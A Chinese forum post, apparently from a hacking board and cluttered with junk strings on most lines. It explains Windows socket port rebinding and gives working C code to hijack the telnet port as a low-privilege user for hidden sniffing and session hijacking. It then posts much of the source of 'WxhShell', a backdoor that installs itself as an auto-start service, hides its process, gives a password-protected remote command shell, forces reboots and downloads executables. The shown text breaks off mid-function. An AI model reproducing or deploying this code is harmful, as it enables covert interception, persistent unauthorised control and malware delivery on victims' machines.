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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: kEDZqUD  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); OmuZ 0@ .  
vF\zZ<R/  
  saddr.sin_family = AF_INET; Qy,qQA/   
M|]1}8d?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  &\br_  
$7 Uk;xV  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); HWAqJb [  
e-av@a3  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 s+~Slgl  
H%%nB  
  这意味着什么?意味着可以进行如下的攻击: 0cU^ue%  
zt%Fvn4/pF  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [gY__  
UR=s{nFd  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) x5Pt\/ow  
_cs9R%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [|Pe'?zkf  
W,J,h6{F  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  k.Nu(j"z  
i^KYZ4/%  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %dR./{txT  
wLSYzz  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -$ft `Ih  
[\F,\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Ox'.sq4  
P!ICno6[e  
  #include 9\0 K%LL  
  #include ;z=C]kI6M  
  #include \Y 4Z Q"0Q  
  #include    X'4 Yofs  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ]V("^.~$+C  
  int main() RN| ..zml  
  { VMXXBa&  
  WORD wVersionRequested; 8{<cqYCR  
  DWORD ret; 1uQf}  
  WSADATA wsaData; H)+kN'J  
  BOOL val; m%\[1|N  
  SOCKADDR_IN saddr; JH;DVPX9z  
  SOCKADDR_IN scaddr; <\mc|p"  
  int err; _Q}z 6+_\  
  SOCKET s; |O2PcYNu  
  SOCKET sc; .e+UgC wi  
  int caddsize; jU~%5R  
  HANDLE mt; KYW1<Wcp  
  DWORD tid;   Q~{@3<yEI  
  wVersionRequested = MAKEWORD( 2, 2 ); F'*&-l  
  err = WSAStartup( wVersionRequested, &wsaData ); {`zF{AW8q  
  if ( err != 0 ) { sn#h=,*4`  
  printf("error!WSAStartup failed!\n"); Al]9/ML/m  
  return -1; Q7%#3ML  
  } l d9#4D[#  
  saddr.sin_family = AF_INET; pwC/&bu  
   #4u; `j"4=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 zghm2{:`?g  
I\23as0q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ufPQ~,.  
  saddr.sin_port = htons(23); TZ2f-KI  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s30_lddD  
  { Q.AM  
  printf("error!socket failed!\n"); z\5Nni/~6D  
  return -1; 0wcWDE 9  
  } 'a*IZb-M  
  val = TRUE; _@TTVd  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 N8vl< Mq  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) c.WT5|:qw  
  { 0^z$COCv  
  printf("error!setsockopt failed!\n"); uy{KV"%"^g  
  return -1; 1hG O*cq!  
  } X_F=;XF/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; mY( _-[W  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]H[\~J  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 N-]n>E  
Hd`RR3J  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) n9Yk;D2  
  { Uo ,3 lMr  
  ret=GetLastError(); N!,l4!M\N  
  printf("error!bind failed!\n"); Hyg?as>}u  
  return -1; 1gJ!!SHPo  
  } < i|+p1t  
  listen(s,2); 9=f'sqIPV  
  while(1) F o6U "  
  { vGw}e&YI  
  caddsize = sizeof(scaddr); OHo0W)XUU  
  //接受连接请求 s q KkTG3  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); H!u:P?j@\  
  if(sc!=INVALID_SOCKET) 8=9sIK2  
  { 9g"H9)EZ^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); c`QsKwa  
  if(mt==NULL) U\{Z{F%8  
  { ;|y,bo@sJJ  
  printf("Thread Creat Failed!\n"); \tqAv'jA|  
  break; f7s.\  
  } Dn?L   
  } ;4IP7$3G  
  CloseHandle(mt); B!v1 gh  
  } \m!."~%  
  closesocket(s); 6dUP's_  
  WSACleanup(); urB.K<5ZA  
  return 0; zZHsS$/  
  }   AF-.Nwp   
  DWORD WINAPI ClientThread(LPVOID lpParam) R YNz TA  
  { !@X#{  
  SOCKET ss = (SOCKET)lpParam; o_n.,=/cZ  
  SOCKET sc; yw0uF  
  unsigned char buf[4096]; =l+p nG  
  SOCKADDR_IN saddr; Yt^+31/%  
  long num; 6z*L9Vy($  
  DWORD val; qC &<U  
  DWORD ret; $7,dKC &  
  //如果是隐藏端口应用的话,可以在此处加一些判断 3a0C<hW  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;xc  
  saddr.sin_family = AF_INET; 6eD[)_?]y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4$"Lf'sH6  
  saddr.sin_port = htons(23); PhS"tOGtX  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'Bx7b(xqk  
  { {TNAK%'v  
  printf("error!socket failed!\n"); "=;&{N~8U  
  return -1; A UK7a  
  } Mi/_hzZ\  
  val = 100; )C@,mgh  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wkGF&U  
  { ?8 F7BS4oQ  
  ret = GetLastError(); Yq_zlxd%F  
  return -1; ~gc)Ww0(Q  
  } {~"=6iyj  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }!LYV  
  { +l9avy+P (  
  ret = GetLastError(); "n:9JqPb  
  return -1; fomkwN  
  } v\c3=DbO  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) khfE<<$=  
  { or<JjTJ\o_  
  printf("error!socket connect failed!\n"); i/L1KiCLx  
  closesocket(sc); hmo?gD<  
  closesocket(ss); L[K_!^MZ  
  return -1; ){} #v&  
  } n7G$gLX  
  while(1) d~8Q)"6 [  
  { [I9d  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }bVyvH  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 SZPu"O\  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 tv2dyC&a  
  num = recv(ss,buf,4096,0); 9HE)!Col  
  if(num>0) SYL$ ?kl  
  send(sc,buf,num,0); UnPSJ]VW  
  else if(num==0) "J9+~)e^!  
  break; SXL6)pX  
  num = recv(sc,buf,4096,0); pV!(#45~W  
  if(num>0) *;m721#  
  send(ss,buf,num,0); 'e)t+  
  else if(num==0) m3D'7*U  
  break;  0c{N)  
  } Km?i{TW  
  closesocket(ss); #/:[ho{JQ  
  closesocket(sc); Rl~Tw9  
  return 0 ;  xOT3>$  
  } +Il=gL1  
(Gc5l MiX3  
5?O"N  
========================================================== dw-r}Qioe  
F8/@/B  
下边附上一个代码,,WXhSHELL `y\:3bQ4  
4u&doSXR  
========================================================== 4aRYz\yT=  
BhKxI  
#include "stdafx.h" bk<3oI  
c(jA"K[|b  
#include <stdio.h> D fb&/ }  
#include <string.h> "_`~9qDy  
#include <windows.h> f t7wMi  
#include <winsock2.h> =p"0G%+%  
#include <winsvc.h> ^c5(MR7LD  
#include <urlmon.h> U:>O6"  
5~kf:U%~  
#pragma comment (lib, "Ws2_32.lib") 0kkiS 3T  
#pragma comment (lib, "urlmon.lib") _D:/?=y;e  
EW`3h9v~  
#define MAX_USER   100 // 最大客户端连接数 !|!V}O  
#define BUF_SOCK   200 // sock buffer $`  
#define KEY_BUFF   255 // 输入 buffer >C i=H(8vN  
mF1oY[xa_  
#define REBOOT     0   // 重启 &ke4":7X  
#define SHUTDOWN   1   // 关机 ";~#epPkX  
/[q@=X&  
#define DEF_PORT   5000 // 监听端口 ,[~EThcq  
*<@  
#define REG_LEN     16   // 注册表键长度 g41LpplX  
#define SVC_LEN     80   // NT服务名长度 Gc'H F"w  
!cpBX>{w  
// 从dll定义API >|s=l`"Xz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j@DyWm/7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @sDd:> t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jK{MU) D+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !xvPG  
':,LZ A8A  
// wxhshell配置信息 T \AuL  
struct WSCFG { >#ou8}0  
  int ws_port;         // 监听端口 K5KN}sRs"  
  char ws_passstr[REG_LEN]; // 口令  v/.2Z(sZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no +bXZE  
  char ws_regname[REG_LEN]; // 注册表键名 p)oW'#@a  
  char ws_svcname[REG_LEN]; // 服务名 BYY>;>V  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 23=;v@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =4[zt^WX"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O[]+v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qgDBu\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1$|z%(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uODsXi{z  
2PC4EjkC  
}; 7+ysE  
*~vRbD$q  
// default Wxhshell configuration #Kl;iY:n  
struct WSCFG wscfg={DEF_PORT, 8P*n|]B.'  
    "xuhuanlingzhe", S HvML  
    1, zx!1jS  
    "Wxhshell", i{8=;  
    "Wxhshell", z}&<D YD  
            "WxhShell Service", eQc!@*:8U  
    "Wrsky Windows CmdShell Service", e nNn*.*|  
    "Please Input Your Password: ", N*xgVj*  
  1, ^;2L`U@5  
  "http://www.wrsky.com/wxhshell.exe", \)v.dQ!  
  "Wxhshell.exe" 8(A:XQN"h  
    }; 'Go'87+`  
i2*nYd`K  
// 消息定义模块 /L~*FQQK>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M}c_KFMV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $xl*P#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; " JRlj  
char *msg_ws_ext="\n\rExit."; #?/.LMn{  
char *msg_ws_end="\n\rQuit."; $^l=#tV  
char *msg_ws_boot="\n\rReboot..."; &a0%7ea`.S  
char *msg_ws_poff="\n\rShutdown..."; i.< }X  
char *msg_ws_down="\n\rSave to "; '%MIG88  
JWBWa-  
char *msg_ws_err="\n\rErr!"; ?SpI^Wn)[  
char *msg_ws_ok="\n\rOK!"; _% P%~`?!  
F 6Ol5  
char ExeFile[MAX_PATH]; u Qj#U m8  
int nUser = 0; we@bq,\w  
HANDLE handles[MAX_USER]; |amEuKJ  
int OsIsNt; ^TjFR*S'E  
<omz9d1  
SERVICE_STATUS       serviceStatus; ks{s Q@~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \kRBJ1)|f  
|joGrWv4  
// 函数声明 ZDb`]c4(  
int Install(void); GwvxX&P  
int Uninstall(void); J h"]iN  
int DownloadFile(char *sURL, SOCKET wsh); 4$J/e?i  
int Boot(int flag); QSLDA`  
void HideProc(void); r=k}EP&<  
int GetOsVer(void); b:JOR@O  
int Wxhshell(SOCKET wsl); *dTw$T#  
void TalkWithClient(void *cs); qm '$R3g  
int CmdShell(SOCKET sock); p?`N<ykF<  
int StartFromService(void); ,Q:dAe[ZsX  
int StartWxhshell(LPSTR lpCmdLine); _#+9)*A  
.{} t[U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2rH6ap  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |N g[^  
$D89|sy  
// 数据结构和表定义 HaSH0eTw  
SERVICE_TABLE_ENTRY DispatchTable[] = UOY1^wY  
{ UWnH2  
{wscfg.ws_svcname, NTServiceMain}, &A9+%kOk>  
{NULL, NULL} <Du*Re6g  
}; VMHY.Rf  
94R+S-|P  
// 自我安装 kb6v2 ^8H  
int Install(void) Yv;aQF"a  
{ -lp_~)j^  
  char svExeFile[MAX_PATH]; [ M'1aBx^  
  HKEY key; 8sg *qQ  
  strcpy(svExeFile,ExeFile); wVvU]UT  
&yN<@.  
// 如果是win9x系统,修改注册表设为自启动 r {8  
if(!OsIsNt) { I|M*yObl6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >!2'|y^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZQ:Y5 ph  
  RegCloseKey(key); 7-LeJRB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `=*svrmS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gu/Yc`S[  
  RegCloseKey(key); :b=0_<G  
  return 0; bcZonS  
    } 1Y`MJ \9  
  } E% 'DIs  
} yx-"YV}5  
else { ,>^~u  
]]7T5'.  
// 如果是NT以上系统,安装为系统服务 HfF$>Z'kM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !d^`YEfE  
if (schSCManager!=0) ~!;3W!@(E  
{ S6QG:|#P  
  SC_HANDLE schService = CreateService mvw:E_  
  ( K?>&Mr  
  schSCManager, }u&JX  
  wscfg.ws_svcname, &-zI7@!  
  wscfg.ws_svcdisp, U}7[8&k1  
  SERVICE_ALL_ACCESS, pGFocw  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t0q@] 0B5  
  SERVICE_AUTO_START, 7^L&YV W  
  SERVICE_ERROR_NORMAL, S]N4o'K}q  
  svExeFile, kel {9b=i  
  NULL, PEWzqZ|!;  
  NULL, $Yka\tS'  
  NULL, ]'G7(Y\)f  
  NULL, d !H)voX  
  NULL :NL NxK  
  ); *O;N"jf  
  if (schService!=0) Nm~#$orI|  
  { 9Dl \SF[  
  CloseServiceHandle(schService); w&{J9'~  
  CloseServiceHandle(schSCManager); _=] FJhO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cMg /T.O  
  strcat(svExeFile,wscfg.ws_svcname); q mB@kbt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :wZZ 1qa  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); by<2hLB9Q  
  RegCloseKey(key); (tgaH,G  
  return 0; hq BRh+[  
    } 8n)Q^z+ K  
  } Ua]zTMI  
  CloseServiceHandle(schSCManager); sF$m?/Kt  
} D4\I;M^  
} ]Oy<zU  
-O5m@rwt<  
return 1; KkY22_{ac  
} eBB D9 SI  
mm8O  
// 自我卸载 (0+m&, z  
int Uninstall(void) $W]bw#NH  
{ [OcD#~drO  
  HKEY key; riL!]'akV  
,zFN3NLtA  
if(!OsIsNt) { [xPE?OD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A@ME7^w7  
  RegDeleteValue(key,wscfg.ws_regname); >U)O@W)  
  RegCloseKey(key); J[l K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H/$q]i*#K  
  RegDeleteValue(key,wscfg.ws_regname); *"ShE=\p  
  RegCloseKey(key); 0u_'(Z-^2  
  return 0; +[ zo2lBx  
  } To`?<]8  
} w(D9'  
} {@A2jk\  
else { Oq5k4  
;qMlGXW*q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V'.|IuN  
if (schSCManager!=0) @-}]~|<  
{ brWt  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ei-OuDM;)  
  if (schService!=0) (XJQ$n  
  { l&B'.6XKs  
  if(DeleteService(schService)!=0) { ~}w 8UO  
  CloseServiceHandle(schService); H~Cfni;  
  CloseServiceHandle(schSCManager); WQx;tX  
  return 0; 67x^{u7  
  } jH1~Ve+q9  
  CloseServiceHandle(schService); :X f3wP=  
  } R.N*G]K5  
  CloseServiceHandle(schSCManager); Ox Z:5ps  
} qE}YVKV*  
} LnGSYrx1  
7W"menw  
return 1; $}$@)!-  
} _u$K Lqt/,  
]Ho`*$dD  
// 从指定url下载文件 }3 }=tN5  
int DownloadFile(char *sURL, SOCKET wsh) ([~`{,sv  
{ -cgukl4Va  
  HRESULT hr; 1tdCzbEn+  
char seps[]= "/"; 27:x5g?  
char *token; 7krA+/Qr(  
char *file; Fev3CV$  
char myURL[MAX_PATH]; =*jcO119L  
char myFILE[MAX_PATH]; x3 |'jmg  
DlI5} Jh  
strcpy(myURL,sURL); mI#; pO2  
  token=strtok(myURL,seps); }c%y0)fL  
  while(token!=NULL) ?C35   
  { T*yveo &j  
    file=token; sA}R!  
  token=strtok(NULL,seps); e% 6{P  
  } !$Z"\v'b  
\<**SSN  
GetCurrentDirectory(MAX_PATH,myFILE); <J-Z;r(gQN  
strcat(myFILE, "\\"); QEa=!O  
strcat(myFILE, file); #1@~w}Dh  
  send(wsh,myFILE,strlen(myFILE),0); VKz<7K\/  
send(wsh,"...",3,0); hm>*eJNp]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Oy$BR <\  
  if(hr==S_OK) avu,o   
return 0; ;!?K.,N:N  
else o"[bIXf-h  
return 1; $:!T/*p*  
Hw&M2a  
} u,:`5*al{  
Bw.&3efd  
// 系统电源模块 IviQ)h p  
int Boot(int flag) 6a?p?I K^  
{ RCXSz  
  HANDLE hToken; rrYp^xLa`  
  TOKEN_PRIVILEGES tkp; P qLqF5`S  
;NE/!!  
  if(OsIsNt) { &Q>'U6"%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ZnLk :6'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T0%TeFY  
    tkp.PrivilegeCount = 1; J|S^K kC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mcr#Ze  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "%*lE0Tx  
if(flag==REBOOT) { *J5RueUG  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !#1A7[WN  
  return 0; X388Gs;e  
}  twmJ  
else { n5*7~K "C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y51D-vj  
  return 0; E^a `IA  
} IQe[ CcM  
  } :<k|u!b}y  
  else { 'hw@l>1\9  
if(flag==REBOOT) { 5l0rw)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O7'3}P;  
  return 0; 2EwWV 0BS  
} gecT*^  
else { jMui+G(h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) NP'Ke:  
  return 0; ?3,tG z)  
} OB^?cA>  
} )=nPM`Jn.  
b.q"s6u  
return 1; A>%UYA  
} h^kNM8  
GY]6#>D#7  
// win9x进程隐藏模块 }, &,Dt  
void HideProc(void) vx}Z  
{ Ej09RO"pB  
5|G3t`$pa  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #aY<J:Nx  
  if ( hKernel != NULL ) 1[g!^5W  
  { Fi% W\Y'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~Z6p3# !o  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c_$&Uii  
    FreeLibrary(hKernel); p[F=LP  
  } ^.kAZSgO  
ZQ-`l:G  
return; qbq<O %g=  
} VfqY_NmgC  
0gD59N'C  
// 获取操作系统版本 K6*UFO4}i  
int GetOsVer(void) vq:OH H  
{ i2a"J&,6O  
  OSVERSIONINFO winfo; L_1_y, 0N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1 lCikS^c  
  GetVersionEx(&winfo); Jo aDX ,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |\n)<r_  
  return 1; #IhLpO  
  else qL5#.bR  
  return 0; 'h6} cw+K  
} fMEv85@JL  
aU<D$I  
// 客户端句柄模块 Xe3z6  
int Wxhshell(SOCKET wsl) @*O{*2  
{ R5&$h$[/  
  SOCKET wsh; ->2wrOH|H  
  struct sockaddr_in client; %^?3s5PXD  
  DWORD myID; uj9tr`Zh  
P,;b'-5C  
  while(nUser<MAX_USER) %>9+1lUhV  
{ +bc#GzVF  
  int nSize=sizeof(client); !QR?\9`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +}XL>=-5  
  if(wsh==INVALID_SOCKET) return 1; ciGpluQF  
N!Wq}#&l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N' $DE  
if(handles[nUser]==0) v7<S F  
  closesocket(wsh); Prb_/B Dd  
else {_toh/8)r  
  nUser++; #w,WwL!  
  } oz0n$`O$/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R!k<l<9q  
R-A'v&=  
  return 0; 2u*h*/  
} B?lBO V4v4  
g3~~"`2  
// 关闭 socket :O'C:n<g  
void CloseIt(SOCKET wsh) 3pTS@  
{ kV:FJx0xP  
closesocket(wsh); ;Ma/b=Y  
nUser--; 8LQ59K_WX  
ExitThread(0); ?F87C[o  
} Y = g>r]2  
Ih-3t*L  
// 客户端请求句柄 =SK+ \j$  
void TalkWithClient(void *cs) w{e3U7;  
{ jQxPOl$-  
,hTwNVWI9  
  SOCKET wsh=(SOCKET)cs; le^_6| ek  
  char pwd[SVC_LEN]; x<*IF,o  
  char cmd[KEY_BUFF]; aEEz4,x_  
char chr[1]; uVq5fT`B  
int i,j; k99gjL`  
b1+hr(kMRM  
  while (nUser < MAX_USER) { -_EY$ ?4  
)`s;~_ZZ  
if(wscfg.ws_passstr) { uH ny ]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Cwsoz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ck3QrfM  
  //ZeroMemory(pwd,KEY_BUFF); ?zhI=1 ED%  
      i=0; 3Zaq#uA  
  while(i<SVC_LEN) { N0K>lL=  
cbh#E)[ '  
  // 设置超时 o,CA;_  
  fd_set FdRead; BA1MGh  
  struct timeval TimeOut; ~.W=  
  FD_ZERO(&FdRead); Wd^lt7(j  
  FD_SET(wsh,&FdRead); OC?Zw@  
  TimeOut.tv_sec=8; 18O@ 1M  
  TimeOut.tv_usec=0; '"xL}8HX}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4j. |Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qu<B%v  
>w2Q 1!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (zS2Ndp  
  pwd=chr[0]; ! v-w6WG"  
  if(chr[0]==0xd || chr[0]==0xa) { K9C@dvFH  
  pwd=0; H b A3*2  
  break; Z{a{HX[Jx  
  } ![a/kj  
  i++; Wkg*J3O  
    } SaR}\Up  
'0CXHjZN  
  // 如果是非法用户,关闭 socket pcRF: ~TE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )BF \!sTn  
} 5Cc6 , ]  
Dm|gSv8d,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y$j1?7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QIij>!c4  
<TLGfA1bC  
while(1) { &\"Y/b]  
!B [1zE  
  ZeroMemory(cmd,KEY_BUFF); MfXt+c`r  
~A[YnJYA#  
      // 自动支持客户端 telnet标准   4Q$j]U&b  
  j=0; ?JXBWB4  
  while(j<KEY_BUFF) { 670J{b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pAJ=f}",]E  
  cmd[j]=chr[0]; j*;*Ka w  
  if(chr[0]==0xa || chr[0]==0xd) { Z7/vrME6  
  cmd[j]=0; m\*&2Na  
  break; 6P%<[Z  
  } Y]+e  Df  
  j++; 0NL :z1N-h  
    } >vD['XN,  
E6'8Zb  
  // 下载文件 3AdP^B<  
  if(strstr(cmd,"http://")) { x1 ;rb8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &5kZ{,-eM  
  if(DownloadFile(cmd,wsh)) gB/;clCdX)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  &7L~PZ  
  else (MgL"8TS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ur/Oc24i1n  
  } H o4B   
  else { r+p@X  
d3EjI6R*z  
    switch(cmd[0]) { tSEA999  
  (@ %XWg  
  // 帮助 _L*f8e8  
  case '?': { #joF{ M{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2UU 2Vm_6  
    break; +Fk4{p  
  } b:fxkQm  
  // 安装 n!UMU^  
  case 'i': { 8`:M\*  
    if(Install()) #2Ac  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H/^ ~<U#p  
    else _, \y2&KT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f*{M3"$E  
    break; <)_:NRjBF&  
    } X!U]`Qh  
  // 卸载 6PiEa(  
  case 'r': { -/M9 vS  
    if(Uninstall()) ky'|Wk6   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a<f;\$h]  
    else zo_k\K`{@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ijvNmn1k  
    break; r@|R-Binz  
    } m3U+ du  
  // 显示 wxhshell 所在路径 ^D9 /  
  case 'p': { i'M^ez)u  
    char svExeFile[MAX_PATH]; !?BW_vY  
    strcpy(svExeFile,"\n\r"); `[X6#` <  
      strcat(svExeFile,ExeFile); f|X[gL,B  
        send(wsh,svExeFile,strlen(svExeFile),0); P7}t lHX  
    break; lP}od  
    } 8BHL  
  // 重启 _TZW|Dh-2F  
  case 'b': { ,"@w>WL<9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Vn)%C_-]A  
    if(Boot(REBOOT)) i%xI9BO9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MP jr_yc]  
    else { IgLVn<5n  
    closesocket(wsh); nped  
    ExitThread(0); lN);~|IOv7  
    } PASuf.U$"  
    break; d-hbvLn  
    } XXXl jh6  
  // 关机 j'k8^*M6  
  case 'd': { L5R `w&Up  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f8^"E $"  
    if(Boot(SHUTDOWN)) i B%XBR  
